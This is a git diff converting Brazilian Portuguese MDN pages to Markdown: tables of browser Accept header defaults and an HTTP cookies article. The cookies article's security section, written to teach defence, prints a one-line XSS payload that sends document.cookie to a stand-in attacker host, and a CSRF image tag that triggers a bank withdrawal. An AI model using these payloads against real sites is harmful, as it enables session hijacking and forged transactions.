+Ao solicitar uma imagem, como por meio de um elemento HTML {{HTMLElement("img")}}, user-agent geralmente define uma lista específica de tipos de mídia para ser recebida. +| User Agent | Valor | Comentário | +| ------------------------------- | ------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Firefox | `image/webp,*/*` (desde o Firefox 65) `*/*` (desde o Firefox 47) `image/png,image/*;q=0.8,*/*;q=0.5` (antes) | Esse valor pode ser modificado usando o parâmetro `image.http.accept`. [fonte](https://hg.mozilla.org/mozilla-central/file/tip/modules/libpref/init/all.js#l4735) | +| Safari | `*/*` | | +| Chrome | `image/webp,image/apng,image/*,*/*;q=0.8` | [fonte](https://chromium.googlesource.com/chromium/src.git/+/master/content/renderer/loader/web_url_loader_impl.cc#99) | +| Internet Explorer 8 ou anterior | `*/*` | Veja [IE and the Accept Header (blog de MSDN da IEInternals)](http://blogs.msdn.com/b/ieinternals/archive/2009/07/01/ie-and-the-accept-header.aspx) | +| Internet Explorer 9 | `image/png,image/svg+xml,image/*;q=0.8, */*;q=0.5` | Veja [Fiddler is better with Internet Explorer 9 (blog de MSDN da IEInternals)](http://blogs.msdn.com/b/fiddler/archive/2011/02/10/fiddler-is-better-with-internet-explorer-9.aspx) | -
-

(fonte)

-
Safari 5 -

text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

-
Esta é uma melhoria em comparação com os cabeçalhos Accept já que não mais classifica image/png acima de text/html
Internet Explorer 8image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */*Veja IE and the Accept Header (blog de MSDN da IEInternals).
Edgetext/html, application/xhtml+xml, image/jxr, */*
Operatext/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
+## Valores para um vídeo -

Valores para uma imagem

+Quando um vídeo é solicitado, via o elemento HTML {{HTMLElement("video")}}, a maioria dos navegadores usam valores específicos. -

Ao solicitar uma imagem, como por meio de um elemento HTML {{HTMLElement("img")}}, user-agent geralmente define uma lista específica de tipos de mídia para ser recebida.

+| User Agent | Valor | Comentário | +| ------------------------------- | ---------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| Firefox anterior a 3.6 | _sem suporte a {{HTMLElement("video")}}_ | | +| Firefox 3.6 e posterior | `video/webm,video/ogg,video/*;q=0.9,application/ogg;q=0.7,audio/*;q=0.6,*/*;q=0.5` | veja [bug 489071](https://bugzilla.mozilla.org/show_bug.cgi?id=489071) [fonte](https://hg.mozilla.org/mozilla-central/file/tip/dom/html/HTMLVideoElement.cpp#l136) | +| Chrome | `*/*` | [fonte](https://chromium.googlesource.com/chromium/src.git/+/master/services/network/loader_util.cc#27) | +| Internet Explorer 8 ou anterior | _sem suporte a {{HTMLElement("video")}}_ | | - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
User AgentValorComentário
Firefox -

image/webp,*/* (desde o Firefox 65)
- */* (desde o Firefox 47)
- image/png,image/*;q=0.8,*/*;q=0.5 (antes)

-
Esse valor pode ser modificado usando o parâmetro image.http.accept. fonte
Safari*/*
Chromeimage/webp,image/apng,image/*,*/*;q=0.8fonte
Internet Explorer 8 ou anterior*/*Veja IE and the Accept Header (blog de MSDN da IEInternals)
Internet Explorer 9image/png,image/svg+xml,image/*;q=0.8, */*;q=0.5Veja Fiddler is better with Internet Explorer 9 (blog de MSDN da IEInternals)
+## Valores para recursos de áudio -

Valores para um vídeo

+Quando um arquivo de áudio é solicitado, como via o elemento HTML {{HTMLElement("audio")}}, a maioria dos navegadores usam valores específicos. -

Quando um vídeo é solicitado, via o elemento HTML {{HTMLElement("video")}}, a maioria dos navegadores usam valores específicos.

+| User Agent | Value | Comment | +| ------------------------------- | -------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Firefox 3.6 e posterior | `audio/webm,audio/ogg,audio/wav,audio/*;q=0.9,application/ogg;q=0.7,video/*;q=0.6,*/*;q=0.5` | Veja [bug 489071](https://bugzilla.mozilla.org/show_bug.cgi?id=489071) [fonte](https://hg.mozilla.org/mozilla-central/file/tip/dom/html/HTMLAudioElement.cpp#l81) | +| Safari, Chrome | `*/*` | [fonte](https://chromium.googlesource.com/chromium/src.git/+/master/services/network/loader_util.cc#27) | +| Internet Explorer 8 ou anterior | _sem suporte para {{HTMLElement("audio")}}_ | | +| Internet Explorer 9 | ? | | - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
User AgentValorComentário
Firefox anterior a 3.6sem suporte a {{HTMLElement("video")}}
Firefox 3.6 e posteriorvideo/webm,video/ogg,video/*;q=0.9,application/ogg;q=0.7,audio/*;q=0.6,*/*;q=0.5veja bug 489071 fonte
Chrome*/*fonte
Internet Explorer 8 ou anteriorsem suporte a {{HTMLElement("video")}}
+## Valores para scripts -

Valores para recursos de áudio

+Quando um script é solicitado, como via o elemento HTML {{HTMLElement("script")}}, alguns navegadores usam valores específicos. -

Quando um arquivo de áudio é solicitado, como via o elemento HTML {{HTMLElement("audio")}}, a maioria dos navegadores usam valores específicos.

+| User Agent | Valor | Comentário | +| ------------------------------- | ----------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Firefox | `*/*` | Veja [bug 170789](https://bugzilla.mozilla.org/show_bug.cgi?id=170789) | +| Safari, Chrome | `*/*` | [fonte](https://chromium.googlesource.com/chromium/src.git/+/master/services/network/loader_util.cc#27) | +| Internet Explorer 8 ou anterior | `*/*` | Veja [IE and the Accept Header (blog de MSDN da IEInternals)](http://blogs.msdn.com/b/ieinternals/archive/2009/07/01/ie-and-the-accept-header.aspx) | +| Internet Explorer 9 | `application/javascript, */*;q=0.8` | Veja [Fiddler is better with Internet Explorer 9 (blog de MSDN da IEInternals)](http://blogs.msdn.com/b/fiddler/archive/2011/02/10/fiddler-is-better-with-internet-explorer-9.aspx) | - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
User AgentValueComment
Firefox 3.6 e posterioraudio/webm,audio/ogg,audio/wav,audio/*;q=0.9,application/ogg;q=0.7,video/*;q=0.6,*/*;q=0.5Veja bug 489071 fonte
Safari, Chrome*/*fonte
Internet Explorer 8 ou anteriorsem suporte para {{HTMLElement("audio")}}
Internet Explorer 9?
+## Valores para uma folha de estilo CSS -

Valores para scripts

+Quando uma folha de estilo CSS é solicitada, via o elemento HTML ``, a maioria dos navegadores usam valores específicos. -

Quando um script é solicitado, como via o elemento HTML {{HTMLElement("script")}}, alguns navegadores usam valores específicos.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
User AgentValorComentário
Firefox*/*Veja bug 170789
Safari, Chrome*/*fonte
Internet Explorer 8 ou anterior*/*Veja IE and the Accept Header (blog de MSDN da IEInternals)
Internet Explorer 9application/javascript, */*;q=0.8Veja Fiddler is better with Internet Explorer 9 (blog de MSDN da IEInternals)
- -

Valores para uma folha de estilo CSS

- -

Quando uma folha de estilo CSS é solicitada, via o elemento HTML <link rel="stylesheet">, a maioria dos navegadores usam valores específicos.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
User AgentValorComentário
Firefox 4text/css,*/*;q=0.1Veja bug 170789 fonte
Internet Explorer 8 ou anterior*/*Veja IE and the Accept Header (blog de MSDN da IEInternals)
Internet Explorer 9text/cssVeja Fiddler is better with Internet Explorer 9 (blog de MSDN da IEInternals)
Safari, Chrometext/css,*/*;q=0.1fonte
Opera 11.10text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Konqueror 4.6text/css,*/*;q=0.1
+| User Agent | Valor | Comentário | +| ------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Firefox 4 | `text/css,*/*;q=0.1` | Veja [bug 170789](https://bugzilla.mozilla.org/show_bug.cgi?id=170789) [fonte](https://hg.mozilla.org/mozilla-central/file/tip/layout/style/Loader.cpp#l1548) | +| Internet Explorer 8 ou anterior | `*/*` | Veja [IE and the Accept Header (blog de MSDN da IEInternals)](http://blogs.msdn.com/b/ieinternals/archive/2009/07/01/ie-and-the-accept-header.aspx) | +| Internet Explorer 9 | `text/css` | Veja [Fiddler is better with Internet Explorer 9 (blog de MSDN da IEInternals)](http://blogs.msdn.com/b/fiddler/archive/2011/02/10/fiddler-is-better-with-internet-explorer-9.aspx) | +| Safari, Chrome | `text/css,*/*;q=0.1` | [fonte](https://chromium.googlesource.com/chromium/src.git/+/master/content/renderer/loader/web_url_loader_impl.cc#98) | +| Opera 11.10 | `text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1` | | +| Konqueror 4.6 | `text/css,*/*;q=0.1` | | diff --git a/files/pt-br/web/http/cookies/index.md b/files/pt-br/web/http/cookies/index.md index 6f118453f11f8a..346472879bc591 100644 --- a/files/pt-br/web/http/cookies/index.md +++ b/files/pt-br/web/http/cookies/index.md @@ -7,207 +7,203 @@ tags: - HTTP translation_of: Web/HTTP/Cookies --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

Um cookie HTTP (um cookie web ou cookie de navegador) é um pequeno fragmento de dados que um servidor envia para o navegador do usuário. O navegador pode armazenar estes dados e enviá-los de volta na próxima requisição para o mesmo servidor. Normalmente é utilizado para identificar se duas requisições vieram do mesmo navegador — ao manter um usuário logado, por exemplo. Ele guarda informações dinâmicas para o protocolo HTTP sem estado.

+Um cookie HTTP (um cookie web ou cookie de navegador) é um pequeno fragmento de dados que um servidor envia para o navegador do usuário. O navegador pode armazenar estes dados e enviá-los de volta na próxima requisição para o mesmo servidor. Normalmente é utilizado para identificar se duas requisições vieram do mesmo navegador — ao manter um usuário logado, por exemplo. Ele guarda informações dinâmicas para o protocolo\_ \_HTTP sem estado. -

Cookies são usados principalmente para três propósitos:

+Cookies são usados principalmente para três propósitos: -
-
Gerenciamento de sessão
-
Logins, carrinhos de compra, placar de jogos ou qualquer outra atividade que deva ser guardada por um servidor.
-
Personalização
-
Preferências de usuário, temas e outras configurações.
-
Rastreamento
-
Registro e análise do comportamento de um usuário.
-
+- Gerenciamento de sessão + - : Logins, carrinhos de compra, placar de jogos ou qualquer outra atividade que deva ser guardada por um servidor. +- Personalização + - : Preferências de usuário, temas e outras configurações. +- Rastreamento + - : Registro e análise do comportamento de um usuário. -

Os cookies eram usados para armazenamento geral no lado do cliente. Embora isso fosse aceitável quando eram a única forma de armazenar dados no cliente, atualmente é recomendável utilizar APIs de armazenamento mais modernas. Os cookies são enviados em todas as requisições, por isso podem prejudicar a performance (especialmente em conexões móveis). APIs modernas de armazenamento no cliente são Web storage API (localStorage e sessionStorage) e IndexedDB.

+Os cookies eram usados para armazenamento geral no lado do cliente. Embora isso fosse aceitável quando eram a única forma de armazenar dados no cliente, atualmente é recomendável utilizar APIs de armazenamento mais modernas. Os cookies são enviados em todas as requisições, por isso podem prejudicar a performance (especialmente em conexões móveis). APIs modernas de armazenamento no cliente são [Web storage API](/pt-BR/docs/Web/API/Web_Storage_API "DOM Storage") (`localStorage` e `sessionStorage`) e [IndexedDB](/pt-BR/docs/Web/API/IndexedDB_API). -
-

Para visualizar os cookies armazenados (e outros armazenamentos que uma página web pode usar), pode-se habilitar o Storage Inspector nas Ferramentas de Desenvolvimento e selecionar o item Cookies na árvore de armazenamento.

-
+> **Nota:** Para visualizar os cookies armazenados (e outros armazenamentos que uma página web pode usar), pode-se habilitar o [Storage Inspector](/pt-BR/docs/Tools/Storage_Inspector) nas Ferramentas de Desenvolvimento e selecionar o item **Cookies** na árvore de armazenamento. -

Criando cookies

+## Criando cookies -

Ao receber uma requisição HTTP, um servidor pode enviar um cabeçalho {{HTTPHeader("Set-Cookie")}} com a resposta. O cookie normalmente é armazenado pelo navegador, então o cookie é enviado com as requisições feitas para o mesmo servidor dentro do cabeçalho HTTP {{HTTPHeader("Cookie")}}. Uma data de expiração ou duração pode ser especificada, e após esta data o cookie não é mais enviado. Adicionalmente, restrições para um domínio específico e caminho podem ser configuradas, limitando para onde o cookie é enviado.

+Ao receber uma requisição HTTP, um servidor pode enviar um cabeçalho {{HTTPHeader("Set-Cookie")}} com a resposta. O cookie normalmente é armazenado pelo navegador, então o cookie é enviado com as requisições feitas para o mesmo servidor dentro do cabeçalho HTTP {{HTTPHeader("Cookie")}}. Uma data de expiração ou duração pode ser especificada, e após esta data o cookie não é mais enviado. Adicionalmente, restrições para um domínio específico e caminho podem ser configuradas, limitando para onde o cookie é enviado. - +### Os cabeçalhos `Set-Cookie` e `Cookie` -

O cabeçalho HTTP de resposta {{HTTPHeader("Set-Cookie")}} envia cookies do servidor para o cliente. Um cookie simples é configurado da seguinte forma:

+O cabeçalho HTTP de resposta {{HTTPHeader("Set-Cookie")}} envia cookies do servidor para o cliente. Um cookie simples é configurado da seguinte forma: -
Set-Cookie: <cookie-name>=<cookie-value>
+``` +Set-Cookie: = +``` -

Este cabeçalho de servidor informa ao cliente para armazenar um cookie.

+Este cabeçalho de servidor informa ao cliente para armazenar um cookie. -
Nota: Eis as formas de utilização do cabeçalho Set-Cookie em várias aplicações de servidor: +> **Nota:** Eis as formas de utilização do cabeçalho `Set-Cookie` em várias aplicações de servidor:- [PHP](https://secure.php.net/manual/en/function.setcookie.php) +> +> - [Node.JS](https://nodejs.org/dist/latest-v8.x/docs/api/http.html#http_response_setheader_name_value) +> - [Python](https://docs.python.org/3/library/http.cookies.html) +> - [Ruby on Rails](http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html) - -
- -
HTTP/1.0 200 OK
+```
+HTTP/1.0 200 OK
 Content-type: text/html
 Set-Cookie: yummy_cookie=choco
 Set-Cookie: tasty_cookie=strawberry
 
-[conteúdo da página]
+[conteúdo da página] +``` -

Agora, em qualquer requisição nova ao servidor, o navegador envia de volta todos os cookies previamente armazenados para o servidor utilizando o cabeçalho {{HTTPHeader("Cookie")}}.

+Agora, em qualquer requisição nova ao servidor, o navegador envia de volta todos os cookies previamente armazenados para o servidor utilizando o cabeçalho {{HTTPHeader("Cookie")}}. -
GET /sample_page.html HTTP/1.1
+```
+GET /sample_page.html HTTP/1.1
 Host: www.example.org
-Cookie: yummy_cookie=choco; tasty_cookie=strawberry
+Cookie: yummy_cookie=choco; tasty_cookie=strawberry +``` + +### Cookies de sessão -

Cookies de sessão

+O cookie criado anteriormente é um _cookie de sessão_: ele é apagado quando o cliente fecha a sessão, pois não foi específicada uma diretiva `Expires` ou `Max-Age`. Entretanto, navegadores web podem usar **restauração de sessão**, o que torna quase todos cookies de sessão permanentes, como se o navegador nunca tivesse sido fechado. -

O cookie criado anteriormente é um cookie de sessão: ele é apagado quando o cliente fecha a sessão, pois não foi específicada uma diretiva Expires ou Max-Age. Entretanto, navegadores web podem usar restauração de sessão, o que torna quase todos cookies de sessão permanentes, como se o navegador nunca tivesse sido fechado.

+### Cookies permanentes -

Cookies permanentes

+Ao invés de expirar quando o cliente fecha, _cookies permanentes_ expiram em uma data específica (`Expires`) ou depois de um período específico de tempo (`Max-Age`). -

Ao invés de expirar quando o cliente fecha, cookies permanentes expiram em uma data específica (Expires) ou depois de um período específico de tempo (Max-Age).

+``` +Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; +``` -
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
+> **Nota:** Quando uma data de expiração é configurada, o tempo e a data são relativas ao cliente no qual o cookie está configurado, não ao servidor. -
-

Nota: Quando uma data de expiração é configurada, o tempo e a data são relativas ao cliente no qual o cookie está configurado, não ao servidor.

-
+### Cookies `Secure` e `HttpOnly` -

Cookies Secure e HttpOnly

+Um cookie seguro só é enviado ao servidor com uma requisição criptografada sobre um protocolo HTTPS. Mesmo com a diretiva `Secure`, informações confidenciais _nunca_ devem ser guardadas em cookies, pois são intrinsecamente inseguros e esta diretiva não oferece proteção real. Iniciando com o Chrome 52 e o Firefox 52, sites inseguros (`http:`) não podem mais configurar cookies com a diretiva `Secure`. -

Um cookie seguro só é enviado ao servidor com uma requisição criptografada sobre um protocolo HTTPS. Mesmo com a diretiva Secure, informações confidenciais nunca devem ser guardadas em cookies, pois são intrinsecamente inseguros e esta diretiva não oferece proteção real. Iniciando com o Chrome 52 e o Firefox 52, sites inseguros (http:) não podem mais configurar cookies com a diretiva Secure.

+Para se prevenir de ataques _cross-site scripting_ ({{Glossary("XSS")}}), os cookies `HttpOnly` são inacessíveis para a API JavaScript {{domxref("Document.cookie")}}; eles são enviados só para o servidor. Por exemplo, cookies que persistem sessões de servidor não precisam estar disponíves para o JavaScript, e portanto a diretiva `HttpOnly` deve ser configurada. -

Para se prevenir de ataques cross-site scripting ({{Glossary("XSS")}}), os cookies HttpOnly são inacessíveis para a API JavaScript {{domxref("Document.cookie")}}; eles são enviados só para o servidor. Por exemplo, cookies que persistem sessões de servidor não precisam estar disponíves para o JavaScript, e portanto a diretiva HttpOnly deve ser configurada.

+``` +Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly +``` -
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
+### Escopo dos cookies -

Escopo dos cookies

+As diretivas `Domain` e `Path` definem o _escopo_ de um cookie: para quais URLs os cookies devem ser enviados. -

As diretivas Domain e Path definem o escopo de um cookie: para quais URLs os cookies devem ser enviados.

+A diretiva `Domain` especifica os hosts permitidos de receber o cookie. Se não é especificada, o seu valor padrão é o [host da localização do documento atual](/pt-BR/docs/Web/API/Document/location), **excluindo subdomínios**. Se a diretiva `Domain` _é_ especificada, então os subdomínios são também incluídos. -

A diretiva Domain especifica os hosts permitidos de receber o cookie. Se não é especificada, o seu valor padrão é o host da localização do documento atual, excluindo subdomínios. Se a diretiva Domain é especificada, então os subdomínios são também incluídos.

+Por exemplo, se `Domain=mozilla.org` é configurado, então os cookies são incluídos em subdomínios como `developer.mozilla.org`. -

Por exemplo, se Domain=mozilla.org é configurado, então os cookies são incluídos em subdomínios como developer.mozilla.org.

+A diretiva `Path` indica o caminho da URL que deve existir na URL requisitada para que o cabeçalho `Cookie` seja enviado. O caractere %x2F ("/") é considerado um separador de diretórios, e os subdiretórios também seguem essa regra. -

A diretiva Path indica o caminho da URL que deve existir na URL requisitada para que o cabeçalho Cookie seja enviado. O caractere %x2F ("/") é considerado um separador de diretórios, e os subdiretórios também seguem essa regra.

+Por exemplo, se `Path=/docs` é configurado, estes caminhos coincidem: -

Por exemplo, se Path=/docs é configurado, estes caminhos coincidem:

+- `/docs` +- `/docs/Web/` +- `/docs/Web/HTTP` -
    -
  • /docs
  • -
  • /docs/Web/
  • -
  • /docs/Web/HTTP
  • -
+### Cookies `SameSite` {{experimental_inline}} -

Cookies SameSite {{experimental_inline}}

+Cookies `SameSite` permitem que servidores exijam que um cookie não deve ser enviado com requisições entre sites, o que pode proteger contra ataques de requisição forjada entre sites ({{Glossary("CSRF")}}). -

Cookies SameSite permitem que servidores exijam que um cookie não deve ser enviado com requisições entre sites, o que pode proteger contra ataques de requisição forjada entre sites ({{Glossary("CSRF")}}).

+Cookies `SameSite` são relativamente novos, mas tem suporte nos principais browsers do mercado. -

Cookies SameSite são relativamente novos, mas tem suporte nos principais browsers do mercado.

+Veja um exemplo: -

Veja um exemplo:

+``` +Set-Cookie: key=value; SameSite=Strict +``` -
Set-Cookie: key=value; SameSite=Strict
+O atributo SameSite pode receber um ou dois valores (case-insensitive): -

O atributo SameSite pode receber um ou dois valores (case-insensitive):

+- `None` + - : O navegador irá enviar os cookies tanto para as requisições _cross-site_ quanto _same-site_. -
-
None
-
O navegador irá enviar os cookies tanto para as requisições cross-site quanto same-site.
-
+ -
-
Strict
-
Se o cookie same-site possuir este atributo, o navegador enviará cookies apenas se a requisição for enviada do website que configurou este cookie, Se a requisição tem origem em outra URL, nenhum cookie com o atributoStrict será incluído.
-
Lax
-
Se o atributo receber o valor Lax, os cookies same-site ficarão retidos nas sub-requisições entre sites, como chamadas para carregar imagens ou frames, mas serão enviadas quando um usuário navegar para o URL de um site externo.
-
+- `Strict` + - : Se o cookie same-site possuir este atributo, o navegador enviará cookies apenas se a requisição for enviada do website que configurou este cookie, Se a requisição tem origem em outra URL, nenhum cookie com o atributo`Strict` será incluído. +- `Lax` + - : Se o atributo receber o valor Lax, os cookies same-site ficarão retidos nas sub-requisições entre sites, como chamadas para carregar imagens ou frames, mas serão enviadas quando um usuário navegar para o URL de um site externo. -

O comportamento padrão se a flag não estiver setada ou não sem suporte donavegador é incluir os cookies em qualquer solicitação, incluindo solicitações cross-origin.

+O comportamento padrão se a flag não estiver setada ou não sem suporte donavegador é incluir os cookies em qualquer solicitação, incluindo solicitações cross-origin. -

Acesso via JavaScript usando Document.cookie

+### Acesso via JavaScript usando `Document.cookie` -

Novos cookies podem ser também criados via JavaScript usando a propriedade {{domxref("Document.cookie")}} e, se a diretiva HttpOnly não está configurada, os cookies existentes podem ser acessados pelo JavaScript também.

+Novos cookies podem ser também criados via JavaScript usando a propriedade {{domxref("Document.cookie")}} e, se a diretiva `HttpOnly` não está configurada, os cookies existentes podem ser acessados pelo JavaScript também. -
document.cookie = "yummy_cookie=choco";
+```js
+document.cookie = "yummy_cookie=choco";
 document.cookie = "tasty_cookie=strawberry";
 console.log(document.cookie);
-// logs "yummy_cookie=choco; tasty_cookie=strawberry"
+// logs "yummy_cookie=choco; tasty_cookie=strawberry" +``` -

Consulte as questões de segurança na seção Segurança a seguir. Os cookies disponíveis ao JavaScript podem ser roubados usando XSS.

+Consulte as questões de segurança na seção [Segurança](/pt-BR/docs/Web/HTTP/Cookies#Security) a seguir. Os cookies disponíveis ao JavaScript podem ser roubados usando XSS. -

Segurança

+## Segurança -
-

Informações confidenciais ou restritas nunca devem ser transmitidas via cookies HTTP, já que todo o mecanismo é intrinsecamente inseguro.

-
+> **Nota:** Informações confidenciais ou restritas nunca devem ser transmitidas via cookies HTTP, já que todo o mecanismo é intrinsecamente inseguro. -

Sequestro de sessões e XSS

+### Sequestro de sessões e XSS -

Os cookies geralmente são usados em aplicações web para identificar um usuário e sua sessão autenticada, portanto roubar um cookie pode levar ao sequestro da sessão do usuário autenticado. As formas mais comuns de roubar cookies incluem Engenharia Social ou exploração de uma vulnerabilidade {{Glossary("XSS")}} em uma aplicação.

+Os cookies geralmente são usados em aplicações web para identificar um usuário e sua sessão autenticada, portanto roubar um cookie pode levar ao sequestro da sessão do usuário autenticado. As formas mais comuns de roubar cookies incluem Engenharia Social ou exploração de uma vulnerabilidade {{Glossary("XSS")}} em uma aplicação. -
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
+```js +(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; +``` -

O atributo HttpOnly do cookie pode ajudar a minimizar este ataque ao prevenir o acesso ao valor do cookie usando JavaScript.

+O atributo `HttpOnly` do cookie pode ajudar a minimizar este ataque ao prevenir o acesso ao valor do cookie usando JavaScript. -

Requisição forjada entre sites (CSRF)

+### Requisição forjada entre sites (CSRF) -

A Wikipedia menciona um bom exemplo de {{Glossary("CSRF")}}. Nesta situação, alguém inclui uma imagem que não é realmente uma imagem, como por exemplo em um chat ou fórum sem filtro, mas sim uma requisição para o servidor de um banco para sacar dinheiro:

+[A Wikipedia](https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery) menciona um bom exemplo de {{Glossary("CSRF")}}. Nesta situação, alguém inclui uma imagem que não é realmente uma imagem, como por exemplo em um chat ou fórum sem filtro, mas sim uma requisição para o servidor de um banco para sacar dinheiro: -
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
+```html + +``` -

Agora, se você estiver logado na sua conta no banco e seus cookies ainda são válidos, e não há mais nenhuma validação, você vai transferir o dinheiro assim que carregar o código HTML que contém a imagem. Existem algumas técnicas que são usadas para evitar ataques deste tipo:

+Agora, se você estiver logado na sua conta no banco e seus cookies ainda são válidos, e não há mais nenhuma validação, você vai transferir o dinheiro assim que carregar o código HTML que contém a imagem. Existem algumas técnicas que são usadas para evitar ataques deste tipo: -
    -
  • Assim como {{Glossary("XSS")}}, filtrar entradas de usuário é importante.
  • -
  • Sempre deve haver uma confirmação antes de qualquer ação restrita.
  • -
  • Cookies usados para ações confidenciais sempre devem ter um tempo de vida restrito.
  • -
  • Para mais dicas de proteção, consulte o OWASP CSRF prevention cheat sheet.
  • -
+- Assim como {{Glossary("XSS")}}, filtrar entradas de usuário é importante. +- Sempre deve haver uma confirmação antes de qualquer ação restrita. +- Cookies usados para ações confidenciais sempre devem ter um tempo de vida restrito. +- Para mais dicas de proteção, consulte o [OWASP CSRF prevention cheat sheet](). -

Rastreamento e privacidade

+## Rastreamento e privacidade -

Cookies de terceiros

+### Cookies de terceiros -

Os cookies têm um domínio associado. Se este domínio é o mesmo do domínio da página atual, diz-se que os cookies são diretos. Se o domínio é diferente, diz-se que os cookies são de terceiros. Enquanto cookies diretos só são enviados para o servidor que os configura, uma página web pode conter imagens ou outros componentes guardados em servidores de outros domínios, como por exemplo propagandas. Os cookies enviados por estes componentes de terceiros são chamadas de cookies de terceiros e são principalmente usados para propaganda e rastreamento pela web. Veja por exemplo os tipos de cookies usados pela Google. Muitos navegadores permitem cookies de terceiros por padrão, mas há complementos que permitem bloqueá-los, como por exemplo o Privacy Badger da EFF.

+Os cookies têm um domínio associado. Se este domínio é o mesmo do domínio da página atual, diz-se que os cookies são _diretos_. Se o domínio é diferente, diz-se que os cookies são _de terceiros_. Enquanto cookies diretos só são enviados para o servidor que os configura, uma página web pode conter imagens ou outros componentes guardados em servidores de outros domínios, como por exemplo propagandas. Os cookies enviados por estes componentes de terceiros são chamadas de cookies de terceiros e são principalmente usados para propaganda e rastreamento pela web. Veja por exemplo os [tipos de cookies usados pela Google](https://www.google.com/policies/technologies/types/). Muitos navegadores permitem cookies de terceiros por padrão, mas há complementos que permitem bloqueá-los, como por exemplo o [Privacy Badger](https://addons.mozilla.org/en-US/firefox/addon/privacy-badger-firefox/) da [EFF](https://www.eff.org/). -

Se você não informa que usa cookies de terceiros, a confiança dos usuários pode ficar abalada caso descubram o uso deste tipo de cookie. Uma informação clara, com por exemplo uma política de privacidade, tende a eliminar qualquer efeito negativo da descoberta dos cookies. Alguns países têm uma legislação sobre cookies. Consulte a declaração de cookies da Fundação Wikimedia, por exemplo.

+Se você não informa que usa cookies de terceiros, a confiança dos usuários pode ficar abalada caso descubram o uso deste tipo de cookie. Uma informação clara, com por exemplo uma política de privacidade, tende a eliminar qualquer efeito negativo da descoberta dos cookies. Alguns países têm uma legislação sobre cookies. Consulte a [declaração de cookies](https://wikimediafoundation.org/wiki/Cookie_statement) da Fundação Wikimedia, por exemplo. -

Cabeçalho Do-Not-Track

+### Cabeçalho Do-Not-Track -

Não há requisitos legais ou tecnológicos para seu uso, mas o cabeçalho {{HTTPHeader("DNT")}} pode ser usado para avisar que uma aplicação web deve desabilitar seu rastreamento ou rastreamento de usuários entre sites para um usuário específico. Consulte o cabeçalho {{HTTPHeader("DNT")}} para mais informações.

+Não há requisitos legais ou tecnológicos para seu uso, mas o cabeçalho {{HTTPHeader("DNT")}} pode ser usado para avisar que uma aplicação web deve desabilitar seu rastreamento ou rastreamento de usuários entre sites para um usuário específico. Consulte o cabeçalho {{HTTPHeader("DNT")}} para mais informações. -

Diretivas da UE para cookies

+### Diretivas da UE para cookies -

Os requisitos para cookies na UE (União Europeia) estão definidos na Diretriz 2009/136/EC do Parlamento Europeu e entraram em vigor em 25 de maio de 2011. Uma diretriz não é lei por si só, mas um requisito para os estados membros da UE para aprovar leis que contemplem os requisitos da diretriz. Essas leis podem variar de país para país.

+Os requisitos para cookies na UE (União Europeia) estão definidos na [Diretriz 2009/136/EC](http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136) do Parlamento Europeu e entraram em vigor em 25 de maio de 2011. Uma diretriz não é lei por si só, mas um requisito para os estados membros da UE para aprovar leis que contemplem os requisitos da diretriz. Essas leis podem variar de país para país. -

Resumindo, a diretriz da UE significa que antes que alguém armazene ou recupere qualquer informação de um computador, celular ou outro equipamento, o usuário deve dar permissão para isso. Muitos websites colocaram anúncios (conhecidos como anúncios de cookies) desde então para informar os usuários sobre o uso dos cookies.

+Resumindo, a diretriz da UE significa que antes que alguém armazene ou recupere qualquer informação de um computador, celular ou outro equipamento, o usuário deve dar permissão para isso. Muitos websites colocaram anúncios (conhecidos como _anúncios de cookies_) desde então para informar os usuários sobre o uso dos cookies. -

Para mais informações, consulte esta seção da Wikipedia e leis federais para informações atualizadas e precisas.

+Para mais informações, consulte [esta seção da Wikipedia](https://en.wikipedia.org/wiki/HTTP_cookie#EU_cookie_directive) e leis federais para informações atualizadas e precisas. -

Cookies zumbi e Evercookies

+### Cookies zumbi e Evercookies -

Uma abordagem mais radical aos cookies são os cookies zumbi ou Evercookies, que são recriados quando apagados e intencionalmente difíceis de apagar por completo. Eles usam a API Web storage, Objetos Flash Local Shared e outras técnicas para se recriarem sempre que a ausência do cookie é detectada.

